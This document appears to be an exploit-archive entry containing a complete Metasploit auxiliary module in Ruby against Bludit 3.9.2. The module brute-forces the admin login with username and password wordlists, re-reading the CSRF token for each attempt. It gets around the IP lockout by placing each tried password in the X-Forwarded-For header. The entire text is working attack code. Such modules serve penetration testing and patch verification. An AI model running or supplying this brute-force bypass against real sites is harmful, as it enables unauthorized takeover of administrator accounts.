Bludit 3.9.2 - Authentication Bruteforce Bypass (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpClient
  
    def initialize
      super(
        'Name'        => 'Bludit Panel Brute force',
        'Description' => %q{
            This Module performs brute force attack on Bludit Panel.
          },
        'Author'      => 'Eren Simsek <[email protected]>',
        'License'     => MSF_LICENSE,
        'DisclosureDate' => 'June 7 2020')
      register_options(
        [
          OptString.new('TARGETURI', [ true, 'Bludit Panel Uri', 'admin']),
          OptString.new('USERNAME', [ false, 'Bludit account username']),
          OptString.new('PASSWORD', [ false, 'Bludit account password']),
          OptPath.new('USER_FILE', [ false, 'The User wordlist path']),
          OptPath.new('PASS_FILE', [ false, 'The Pass wordlist path']),
          OptBool.new('USER_AS_PASS', [ false, 'Try the username as the password for all users']),
        ])
    end
    def check_variable
      if datastore["USERNAME"] != nil
        if datastore["USER_FILE"] != nil
          raise Msf::OptionValidateError.new(['USER_FILE'])
        end
      end
      if datastore["PASSWORD"] != nil
        if datastore["PASS_FILE"] != nil
          raise Msf::OptionValidateError.new(['PASS_FILE'])
        end
      end
      if datastore["USER_FILE"] != nil
        if datastore["USERNAME"] != nil
          raise Msf::OptionValidateError.new(['USERNAME'])
        end
      end
      if datastore["PASS_FILE"] != nil
        if datastore["PASSWORD"] != nil
          raise Msf::OptionValidateError.new(['PASSWORD'])
        end
      end
    end
    @signed = false
    def brute_force(username,password)
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path,'/'),
        'method' => 'GET',
      })
      #Send request target website
      username = username.strip
      password = password.strip
      #strip command remove spaces
      bluditkey = res.get_cookies
      #Send request target website and get cookies
      csrf = res.body.scan(/<input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*?)">/).flatten[0] || ''
      #Get CSRF Token
      if bluditkey == nil #if cookies not found
        fail_with(Failure::UnexpectedReply, "Cookie Not Found !")
      end
      if csrf == nil #if csrf token not found
        fail_with(Failure::UnexpectedReply, "CSRF Not Found !")
      end
      print_warning("Trying #{username}:#{password}")
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path,'/'),
        'method' => 'POST',
        'cookie' => bluditkey,
        'headers' => {
          'X-Forwarded-For' => password, #host injected and unblock ip address
          'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
          'Referer' => normalize_uri(target_uri.path,'/'),
        },
        'vars_post' => { #post method variables
          'tokenCSRF' => csrf,
          'username' => username,
          'password' => password,
          'save' => '',
        },
      })
      if res && res.code != 200 #if request cod not 200 ok 
        if res && res.headers['Location'] == '/admin/dashboard' #if signed web site
          print_good("Found #{username}:#{password}")
          @signed = true
        else #request not 200 error
          fail_with(Failure::UnexpectedReply, " Request Not Success Code #{res.code}")
        end
      end
    end
    def run
      check_variable #check variable, not use user_file if use username
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path,'/'),
        'method' => 'GET',
      })
      if res && res.code == 200
        vprint_status("Request 200 OK")
      else
        fail_with(Failure::UnexpectedReply, "Request Not Success Code #{res.code}")
      end
      if datastore["USERNAME"] != nil && datastore["PASS_FILE"] != nil
        unless ::File.exist?(datastore['PASS_FILE'])
          #check file exit, error not found if not exist file
          fail_with Failure::NotFound, "PASS_FILE #{datastore['PASS_FILE']} does not exists!"
        end
        @wordlist = ::File.open(datastore["PASS_FILE"],"rb")
        #open pass_file
        @wordlist.each_line do |password|
          #each line on wordlist
          password = password.strip # remove spaces 
          if !@signed # continue if signed false
            brute_force(datastore["USERNAME"],password)
          end
        end
      end
      if datastore["USER_FILE"] != nil && datastore["PASSWORD"] != nil
        unless ::File.exist?(datastore['USER_FILE'])
          fail_with Failure::NotFound, "USER_FILE #{datastore['USER_FILE']} does not exists!"
        end
        @wordlist = ::File.open(datastore["USER_FILE"],"rb")
        @wordlist.each_line do |username|
          username = username.strip
          if !@signed
            brute_force(username,datastore["PASSWORD"])
          end
        end
      end
      if datastore["USER_FILE"] != nil && datastore["PASS_FILE"] != nil
        unless ::File.exist?(datastore['USER_FILE'])
          fail_with Failure::NotFound, "USER_FILE #{datastore['USER_FILE']} does not exists!"
        end
        unless ::File.exist?(datastore['PASS_FILE'])
          fail_with Failure::NotFound, "PASS_FILE #{datastore['PASS_FILE']} does not exists!"
        end
        @userlist = ::File.open(datastore["USER_FILE"],"rb")
        @userlist.each_line do |username|
          username = username.strip
          @passlist = ::File.open(datastore["PASS_FILE"],"rb")
          @passlist.each_line do |password|
            password = password.strip
            if !@signed
              brute_force(username,password)
            end
          end
        end
      end
      if datastore["USER_FILE"] != nil && datastore["USER_AS_PASS"] == true && datastore["PASS_FILE"] == nil
        unless ::File.exist?(datastore['USER_FILE'])
          fail_with Failure::NotFound, "USER_FILE #{datastore['USER_FILE']} does not exist!"
        end
        @userlist = ::File.open(datastore["USER_FILE"],"rb")
        @userlist.each_line do |username|
          username = username.strip
          @passlist = ::File.open(datastore["USER_FILE"],"rb")
          @passlist.each_line do |password|
            password = password.strip
            if !@signed
              brute_force(username,password)
            end
          end
        end
      end
    end
end